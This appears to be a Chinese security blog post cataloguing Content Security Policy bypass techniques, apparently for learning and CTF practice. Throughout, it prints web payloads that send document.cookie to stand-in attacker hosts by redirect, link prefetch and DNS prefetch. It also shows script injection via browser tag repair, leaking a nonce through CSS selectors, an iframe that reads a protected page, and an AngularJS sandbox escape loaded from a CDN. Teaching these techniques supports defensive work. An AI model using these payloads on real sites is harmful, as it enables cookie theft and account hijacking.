Ashing's Blog

想学的太多 懂得的太少

0%

WEB安全—CSP绕过

验证CSP是否安全

在线评测CSP策略

Chrome插件

0x01 明确CSP对前端攻击的防御点

  • 1.限制js的执行
  • 2.限制对不可信域的请求

0x02 CSP绕过

URL跳转

  • 条件:default-src ‘none’
  • 利用:meta标签实现跳转
1
<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
  • 条件:script-src ‘unsafe-inline’
  • 利用:window.location/window.open等方法跳转绕过
1
2
3
<script>   
window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
  • location.href
  • 条件:可以执行JS脚本,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上

location.href = “vps_ip:xxxx?”+document.cookie CSP不影响location.href跳转,因为当今大部分网站的跳转功能都是由前端实现的,CSP如果限制跳转会影响很多的网站功能。所以,用跳转来绕过CSP获取数据是一个万能的办法。但比较容易被发现。

  • 利用:<a>标签配合站内可控JS点击操作来跳转
1
2
3
4
<script>
$(#foo).click()
</script>
<a id="foo" href="xxxxx.com">
  • 利用:网站本身的跳转接口
1
http://foo.com/jmp.php?url=attack.com
  • 老版本的浏览器,CSP 对 link 标签的预加载功能考虑不完善。目前大部分都约束了此标签。
1
2
3
4
5
6
<!-- firefox -->
<link rel="dns-prefetch" href="//${cookie}.vps_ip">
//在Firefox下无法用prefetch,因为Firefox有更高的安全规范,但是可以使用其他的方式,比如dns-prefetch,将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

<!-- chrome -->
<link rel="prefetch" href="//vps_ip?${cookie}"> //href="http://www.xss.com/x.php?c=[cookie]">
  • link 标签除了这两种 rel,还有 preconnect、prerender、subresource、preload 等

  • 数据外带

1
2
3
4
var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//vps_ip/?" + document.cookie);
document.head.appendChild(link);

利用浏览器补全

  • 有些网站限制只有某些脚本才能使用,往往会使用<script> 标签的 nonce 属性,只有 nonce 一致的脚本才生效,比如 CSP 设置成下面这样
1
Content-Security-Policy: default-src 'none';script-src 'nonce-abc'
  • 那么当脚本插入点为如下的情况时
1
2
3
p>插入点</p>
<script nonce="abc">document.write('CSP');
</script>
  • 可以插入
1
<script src=//attack.com a="
  • 这里利用浏览器的容错机制会拼成一个新的 script 标签,其中的 src 可以自由设定

利用DOM XSS

  • 如果 JS 存在操作 location.hash 导致的 XSS,那么这样的攻击请求不会经过后台,那么 nonce 后的随机值就不会刷新。
1
2
lorexxar 的博文:
https://lorexxar.cn/2017/05/16/nonce-bypass-script/
  • 如果有 DOM 操作可以插入 HTML 并且可以控制插入的 HTML 内容,那么也可以绕过 CSP

利用CSS静态xss获取nonce值

  • 利用 CSS 选择器来逐字节获取信息,^= 从头部判断
1
2
3
*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")}
  • 比如确定第一位为 c,那么就会继续下面的步骤
1
2
3
*[attribute^="ca"]{background:url("record?match=ca")}
*[attribute^="cb"]{background:url("record?match=cb")}
*[attribute^="cc"]{background:url("record?match=cc")}
  • 由于是 CSS 的变化,没有引起服务器重新请求,所以 nonce 的值不会改变,偷取值后即可执行任意 script

利用跨域传输数据

  • 利用一些跨域传输的方法来引入 JS,导致执行
  • 呆子不开口的乌云大会 PPT
1
http://pan.baidu.com/s/1pLCfCWr
  • 0CTF2018 预选赛中的 h4xors.club2
1
https://lorexxar.cn/2018/04/10/0ctf2018-club2/

利用文件上传执行JS

1
Content-Security-Policy: default-src 'self'; script-src 'self'
  • 针对只能加载同域下 script 的 CSP 策略,如果有上传点可以控制,那么可以在其中夹杂 js 代码,然后引用该文件完成执行。

利用Iframe绕过

  • 当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,可以直接在B页面新建iframe用javascript直接操作A页面的dom,A页面的CSP防护完全失效。

  • A页面

1
2
3
4
<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">

<h1 id="flag">flag{0xffff}</h1>
  • B页面
1
2
3
4
5
6
7
8
9
10
11
12
<!-- B页面 -->

<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面";
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
//setTimeout是为了等待iframe加载完成
</script>
</body>

用CDN绕过

  • 引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险。

  • 参考:https://paper.seebug.org/855/采用了低版本的angular js模板注入来绕过CSP

1
2
3
4
5
6
7
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>
  • 存在低版本angular js的cdn服务商列表
1
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/angular.js#L26-L76